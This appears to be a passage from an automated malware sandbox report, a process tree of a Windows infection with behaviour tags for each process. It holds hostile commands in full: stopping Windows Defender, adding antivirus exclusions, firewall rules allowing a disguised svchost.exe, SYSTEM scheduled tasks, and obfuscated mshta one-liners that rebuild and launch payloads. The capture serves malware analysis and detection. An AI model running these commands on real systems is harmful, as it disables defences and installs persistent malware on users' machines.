C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2a41c637-129a-4857-a506-051e0b47e66a\test.bat"
9⤵
PID:6844

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\e3515e2c-a157-406e-923b-876a92c20281\test.bat"
10⤵
PID:6860

C:\Users\Admin\AppData\Local\Temp\5d1b6914-ae51-4537-a8d4-50b0789cfe33\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\5d1b6914-ae51-4537-a8d4-50b0789cfe33\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\5d1b6914-ae51-4537-a8d4-50b0789cfe33\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
8⤵
PID:6612

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5d1b6914-ae51-4537-a8d4-50b0789cfe33\test.bat"
9⤵
PID:7060

C:\Windows\system32\sc.exe
sc stop windefend
10⤵
PID:5688

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe" -Force
8⤵
PID:5852

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe" -Force
8⤵
PID:2648

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe" -Force
8⤵
PID:4864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
8⤵
PID:6728

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
8⤵
PID:6268

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe" -Force
8⤵
PID:2956

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe
"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe"
8⤵
- Adds Run key to start application
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
- System policy modification
PID:5700

C:\Users\Admin\AppData\Local\Temp\df17c0e8-d8b1-471a-8931-a159e1a30472\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\df17c0e8-d8b1-471a-8931-a159e1a30472\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\df17c0e8-d8b1-471a-8931-a159e1a30472\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
9⤵
PID:7752

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\df17c0e8-d8b1-471a-8931-a159e1a30472\test.bat"
10⤵
PID:7952

C:\Users\Admin\AppData\Local\Temp\db6f34b2-a9ba-463f-9e7d-63e8556c1802\AdvancedRun.exe
"C:\Users\Admin\AppData\Local\Temp\db6f34b2-a9ba-463f-9e7d-63e8556c1802\AdvancedRun.exe" /EXEFilename "C:\Users\Admin\AppData\Local\Temp\db6f34b2-a9ba-463f-9e7d-63e8556c1802\test.bat" /WindowState ""0"" /PriorityClass ""32"" /CommandLine "" /StartDirectory "" /RunAs 8 /Run
9⤵
PID:7736

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\db6f34b2-a9ba-463f-9e7d-63e8556c1802\test.bat"
10⤵
PID:8036

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
9⤵
PID:4260

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
9⤵
PID:5136

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
9⤵
PID:912

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
9⤵
PID:6240

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hepatocyte.exe" -Force
9⤵
PID:7428

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
9⤵
PID:852

C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
9⤵
PID:7696

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
9⤵
PID:6572

C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\EdmGen.exe"
9⤵
- Executes dropped EXE
PID:3160

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ComSvcConfig.exe"
9⤵
PID:5736

C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
9⤵
PID:960

C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"
9⤵
PID:7448

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
8⤵
PID:5656

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\Pictures\Adobe Films\u01mncpPd05JugUqOyeMRfZg.exe" -Force
8⤵
PID:5844

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Program Files\Common Files\System\sememe\svchost.exe" -Force
8⤵
PID:5560

C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\SMSvcHost.exe"
8⤵
PID:2776

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess.exe"
8⤵
PID:5132

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngentask.exe"
8⤵
PID:7236

C:\Users\Admin\Pictures\Adobe Films\2AVoW_HFD3n9JaTjdbifMQHR.exe
"C:\Users\Admin\Pictures\Adobe Films\2AVoW_HFD3n9JaTjdbifMQHR.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:6000

C:\Program Files (x86)\Company\NewProduct\cutm3.exe
"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"
8⤵
- Executes dropped EXE
PID:1568

C:\Users\Admin\Pictures\Adobe Films\cw4uushihEempOZdZM5q7c1D.exe
"C:\Users\Admin\Pictures\Adobe Films\cw4uushihEempOZdZM5q7c1D.exe"
7⤵
- Executes dropped EXE
PID:4612

C:\Users\Admin\Pictures\Adobe Films\bL53B5U4boy7uSOcBrXAt1Uz.exe
"C:\Users\Admin\Pictures\Adobe Films\bL53B5U4boy7uSOcBrXAt1Uz.exe"
7⤵
- Executes dropped EXE
PID:5968

C:\Users\Admin\Pictures\Adobe Films\cStLY2Iby3gHw3qmAwKG0OBw.exe
"C:\Users\Admin\Pictures\Adobe Films\cStLY2Iby3gHw3qmAwKG0OBw.exe"
7⤵
- Executes dropped EXE
PID:3720

C:\Users\Admin\Pictures\Adobe Films\9UEW0eoYEedEenlgVZyb_atL.exe
"C:\Users\Admin\Pictures\Adobe Films\9UEW0eoYEedEenlgVZyb_atL.exe"
7⤵
- Executes dropped EXE
PID:1116

C:\Users\Admin\AppData\Roaming\Underdress.exe
C:\Users\Admin\AppData\Roaming\Underdress.exe
8⤵
PID:5868

C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe
"C:\Users\Admin\AppData\Local\Temp\Unseduceability.exe"
9⤵
PID:5128

C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
C:\Users\Admin\AppData\Roaming\MegogoSell_crypted.exe
8⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of SetThreadContext
PID:1888

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"
9⤵
PID:6284

C:\Users\Admin\Pictures\Adobe Films\Bo6BtjIihIbGyw2RmAv2QVBE.exe
"C:\Users\Admin\Pictures\Adobe Films\Bo6BtjIihIbGyw2RmAv2QVBE.exe"
7⤵
PID:5732

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5732 -s 336
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:3976

C:\Users\Admin\Pictures\Adobe Films\QHQhADDgPYxxrKgGZams8f5i.exe
"C:\Users\Admin\Pictures\Adobe Films\QHQhADDgPYxxrKgGZams8f5i.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:5912

C:\Users\Admin\Pictures\Adobe Films\GDDt721SFdHyhgLxobv42E1i.exe
"C:\Users\Admin\Pictures\Adobe Films\GDDt721SFdHyhgLxobv42E1i.exe"
7⤵
PID:5772

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
8⤵
PID:1508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
8⤵
- Blocklisted process makes network request
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
8⤵
PID:6196

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
8⤵
PID:5236

C:\Windows\SYSTEM32\schtasks.exe
schtasks /create /sc minute /ED "11/02/2024" /mo 7 /tn "Timer" /tr c:\windows\system\svchost.exe /ru SYSTEM
8⤵
- Creates scheduled task(s)
PID:5248

C:\Windows\System\svchost.exe
"C:\Windows\System\svchost.exe" formal
8⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:1104

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\
9⤵
PID:4240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath \\?\C:\Windows \
9⤵
PID:5860

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes
9⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:3360

C:\Windows\System32\netsh.exe
"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes
9⤵
PID:7096

C:\Users\Admin\Pictures\Adobe Films\nIw1Sat6es_zo5jbkIdndVj5.exe
"C:\Users\Admin\Pictures\Adobe Films\nIw1Sat6es_zo5jbkIdndVj5.exe"
7⤵
- Executes dropped EXE
PID:2472

C:\Users\Admin\Pictures\Adobe Films\5BZm11YI65feAhF6R9ARF7S5.exe
"C:\Users\Admin\Pictures\Adobe Films\5BZm11YI65feAhF6R9ARF7S5.exe"
7⤵
PID:916

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 916 -s 1608
8⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2564

C:\Users\Admin\Pictures\Adobe Films\SCPen8OYAnWOUT1dD9JHH0GY.exe
"C:\Users\Admin\Pictures\Adobe Films\SCPen8OYAnWOUT1dD9JHH0GY.exe"
7⤵
PID:4984

C:\Users\Admin\Pictures\Adobe Films\Ukz6iVjJmwP1E7zhcrqDZH7W.exe
"C:\Users\Admin\Pictures\Adobe Films\Ukz6iVjJmwP1E7zhcrqDZH7W.exe"
7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4040

C:\Users\Admin\Pictures\Adobe Films\wcUWW1N48ePljubiJydMv1lT.exe
"C:\Users\Admin\Pictures\Adobe Films\wcUWW1N48ePljubiJydMv1lT.exe"
7⤵
PID:5404

C:\Users\Admin\Pictures\Adobe Films\5aKYEtchxxSMB6BZybdKWpgt.exe
"C:\Users\Admin\Pictures\Adobe Films\5aKYEtchxxSMB6BZybdKWpgt.exe"
7⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:5976

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:3996

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
9⤵
- Executes dropped EXE
PID:4984

C:\Windows\SysWOW64\schtasks.exe
schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
8⤵
- Creates scheduled task(s)
PID:6324

C:\Users\Admin\Documents\emaLU9c8DSxxHTh0i56B9iiZ.exe
"C:\Users\Admin\Documents\emaLU9c8DSxxHTh0i56B9iiZ.exe"
8⤵
PID:5288

C:\Users\Admin\Pictures\Adobe Films\7JyYI9EDrgOStWpwDLBSGTpX.exe
"C:\Users\Admin\Pictures\Adobe Films\7JyYI9EDrgOStWpwDLBSGTpX.exe"
9⤵
PID:1492

C:\Users\Admin\Pictures\Adobe Films\OTStyg0VgBV152P48JKfTAX0.exe
"C:\Users\Admin\Pictures\Adobe Films\OTStyg0VgBV152P48JKfTAX0.exe"
9⤵
PID:5052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5052 -s 296
10⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5228

C:\Users\Admin\Pictures\Adobe Films\EpnLZjlgV8Eatb6BHlVQKXqJ.exe
"C:\Users\Admin\Pictures\Adobe Films\EpnLZjlgV8Eatb6BHlVQKXqJ.exe"
9⤵
- Executes dropped EXE
- Drops file in Windows directory
PID:5772

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5772 -s 296
10⤵
- Program crash
- Enumerates system info in registry
PID:3624

C:\Users\Admin\Pictures\Adobe Films\XW2ThBADbKvA9KhrNEkqIuav.exe
"C:\Users\Admin\Pictures\Adobe Films\XW2ThBADbKvA9KhrNEkqIuav.exe"
9⤵
PID:6196

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\XW2ThBADbKvA9KhrNEkqIuav.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\XW2ThBADbKvA9KhrNEkqIuav.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )
10⤵
PID:7832

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\XW2ThBADbKvA9KhrNEkqIuav.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\XW2ThBADbKvA9KhrNEkqIuav.exe" ) do taskkill -f -iM "%~NxM"
11⤵
PID:2292

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -iM "XW2ThBADbKvA9KhrNEkqIuav.exe"
12⤵
- Kills process with taskkill
PID:428

C:\Users\Admin\Pictures\Adobe Films\tVagVUje08IrKVdaMjvs6HrF.exe
"C:\Users\Admin\Pictures\Adobe Films\tVagVUje08IrKVdaMjvs6HrF.exe"
9⤵
PID:8144

C:\Users\Admin\Pictures\Adobe Films\DV0TDEfAz_6bg7ytiF40f2bk.exe
"C:\Users\Admin\Pictures\Adobe Films\DV0TDEfAz_6bg7ytiF40f2bk.exe"
9⤵
PID:5236

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 5236 -s 1776
10⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2792

C:\Users\Admin\Pictures\Adobe Films\xuo_eAAVeQ3DdziH037qfOMv.exe
"C:\Users\Admin\Pictures\Adobe Films\xuo_eAAVeQ3DdziH037qfOMv.exe"
9⤵
PID:7560

C:\Users\Admin\AppData\Local\Temp\is-H4DOE.tmp\xuo_eAAVeQ3DdziH037qfOMv.tmp
"C:\Users\Admin\AppData\Local\Temp\is-H4DOE.tmp\xuo_eAAVeQ3DdziH037qfOMv.tmp" /SL5="$E00AC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\xuo_eAAVeQ3DdziH037qfOMv.exe"
10⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Loads dropped DLL
PID:7072

C:\Users\Admin\AppData\Local\Temp\is-EFHGG.tmp\DYbALA.exe
"C:\Users\Admin\AppData\Local\Temp\is-EFHGG.tmp\DYbALA.exe" /S /UID=2709
11⤵
- Drops file in Drivers directory
- Adds Run key to start application
- Drops file in Program Files directory
PID:1540

C:\Users\Admin\AppData\Local\Temp\bc-64f27-29b-93987-4b0d2d0f64816\Maexifaereli.exe
"C:\Users\Admin\AppData\Local\Temp\bc-64f27-29b-93987-4b0d2d0f64816\Maexifaereli.exe"
12⤵
PID:4644

C:\Users\Admin\AppData\Local\Temp\10-67a0d-c21-d3588-53996c8f8df08\Bobemawashu.exe
"C:\Users\Admin\AppData\Local\Temp\10-67a0d-c21-d3588-53996c8f8df08\Bobemawashu.exe"
12⤵
PID:5172

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gatq5sbx.h0w\GcleanerEU.exe /eufive & exit
13⤵
PID:15020

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\z3fr4lvo.gry\installer.exe /qn CAMPAIGN="654" & exit
13⤵
PID:17804

C:\Users\Admin\AppData\Local\Temp\z3fr4lvo.gry\installer.exe
C:\Users\Admin\AppData\Local\Temp\z3fr4lvo.gry\installer.exe /qn CAMPAIGN="654"
14⤵
- Loads dropped DLL
- Suspicious use of FindShellTrayWindow
PID:18404

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\accpyt44.goh\any.exe & exit
13⤵
PID:18000

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\w5kvv3ho.xfx\gcleaner.exe /mixfive & exit
13⤵
PID:18100

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\2dehre0b.aea\autosubplayer.exe /S & exit
13⤵
PID:18244

C:\Users\Admin\AppData\Local\Temp\SCPXMOEMLL\foldershare.exe
"C:\Users\Admin\AppData\Local\Temp\SCPXMOEMLL\foldershare.exe" /VERYSILENT
12⤵
PID:6716

C:\Users\Admin\Pictures\Adobe Films\IUWGoQg98SghkdsmfJWxAxzb.exe
"C:\Users\Admin\Pictures\Adobe Films\IUWGoQg98SghkdsmfJWxAxzb.exe"
9⤵
PID:8064

C:\Users\Admin\Pictures\Adobe Films\IUWGoQg98SghkdsmfJWxAxzb.exe
"C:\Users\Admin\Pictures\Adobe Films\IUWGoQg98SghkdsmfJWxAxzb.exe" -u
10⤵
PID:6176

C:\Users\Admin\Pictures\Adobe Films\_vn3ThOt20ayqZ8ilhXctQol.exe
"C:\Users\Admin\Pictures\Adobe Films\_vn3ThOt20ayqZ8ilhXctQol.exe"
9⤵
- Loads dropped DLL
PID:5756

C:\Users\Admin\AppData\Roaming\Calculator\setup.exe
C:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=1
10⤵
- Loads dropped DLL
PID:8072

C:\Users\Admin\Pictures\Adobe Films\yUY4neIpqF3oY1ihzsyYJB7Q.exe
"C:\Users\Admin\Pictures\Adobe Films\yUY4neIpqF3oY1ihzsyYJB7Q.exe"
7⤵
- Executes dropped EXE
PID:1968

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 956
8⤵
- Executes dropped EXE
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5868

C:\Users\Admin\Pictures\Adobe Films\RHbA29p3uVDPZn3ZmOXzoJjb.exe
"C:\Users\Admin\Pictures\Adobe Films\RHbA29p3uVDPZn3ZmOXzoJjb.exe"
7⤵
- Executes dropped EXE
PID:4384

C:\Users\Admin\Pictures\Adobe Films\AkHELdpZebwJQntc6z4eahTf.exe
"C:\Users\Admin\Pictures\Adobe Films\AkHELdpZebwJQntc6z4eahTf.exe"
7⤵
- Executes dropped EXE
PID:3472

C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
"C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
8⤵
PID:6492

C:\Users\Admin\AppData\Local\4806201.exe
"C:\Users\Admin\AppData\Local\4806201.exe"
9⤵
PID:3116

C:\Users\Admin\AppData\Local\3542840.exe
"C:\Users\Admin\AppData\Local\3542840.exe"
9⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:2156

C:\Users\Admin\AppData\Local\4151522.exe
"C:\Users\Admin\AppData\Local\4151522.exe"
9⤵
PID:3504

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\4151522.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF """" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\4151522.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
10⤵
PID:6640

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\4151522.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "" == "" for %Z iN ( "C:\Users\Admin\AppData\Local\4151522.exe" ) do taskkill -f -Im "%~NXZ"
11⤵
PID:6244

C:\Windows\SysWOW64\taskkill.exe
taskkill -f -Im "4151522.exe"
12⤵
- Kills process with taskkill
PID:1660

C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe
..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i
12⤵
PID:2464

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" vbscRIpt: cLosE ( CreateOBjEct ( "WsCrIpT.shelL"). Run ( "cMD /q /c cOPy /Y ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ..\RxAPuFNW.exe && sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i & IF ""-P1jBMdKQQ16j1dp4oT~i "" == """" for %Z iN ( ""C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe"" ) do taskkill -f -Im ""%~NXZ"" ", 0, TRUE ))
13⤵
PID:7744

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /q /c cOPy /Y "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ..\RxAPuFNW.exe &&sTaRT ..\rxAPuFNw.EXe -P1jBMdKQQ16j1dp4oT~i &IF "-P1jBMdKQQ16j1dp4oT~i " == "" for %Z iN ( "C:\Users\Admin\AppData\Local\Temp\RxAPuFNW.exe" ) do taskkill -f -Im "%~NXZ"
14⤵
PID:5052

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\System32\mshta.exe" VBSCRipT: CLOse ( createoBJECt ( "wScRIpt.shelL" ).RUn ("cMd /C EChO | SEt /p = ""MZ"" > CPkPI.i & CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K & Del /Q * " , 0 ,tRue ) )
13⤵
PID:3852

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /C EChO | SEt /p = "MZ" > CPkPI.i &CopY /b /Y CPkpI.I+ sQCC.RrX + NvzjY~Q7.S1K+ FZOB0ELr.D +wXR7c.DF ..\WfNrfms4.K & StARt control ..\WfNRfms4.K &Del /Q *
14⤵
PID:3584

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" SEt /p = "MZ" 1>CPkPI.i"
15⤵
PID:4296

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" EChO "
15⤵
PID:7876

C:\Windows\SysWOW64\control.exe
control ..\WfNRfms4.K
15⤵
PID:1296

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL ..\WfNRfms4.K
16⤵
- Loads dropped DLL
PID:796

C:\Windows\system32\RunDll32.exe
C:\Windows\system32\RunDll32.exe Shell32.dll,Control_RunDLL ..\WfNRfms4.K
17⤵
PID:3136

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\SysWOW64\rundll32.exe" "C:\Windows\SysWOW64\shell32.dll",#44 ..\WfNRfms4.K
18⤵
- Loads dropped DLL
PID:1488

C:\Users\Admin\AppData\Local\309027.exe
"C:\Users\Admin\AppData\Local\309027.exe"
9⤵
- Suspicious behavior: SetClipboardViewer
PID:5264

C:\Users\Admin\AppData\Local\2358970.exe
"C:\Users\Admin\AppData\Local\2358970.exe"
9⤵
PID:7000

C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe
"C:\Users\Admin\AppData\Local\Temp\WW1Soft.exe"
8⤵
PID:6672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 6672 -s 296
9⤵
- Program crash
- Enumerates system info in registry
PID:3928

C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe
"C:\Users\Admin\AppData\Local\Temp\liuchang-game.exe"
8⤵
PID:6888

C:\Users\Admin\AppData\Local\Temp\search_hyperfs_206.exe
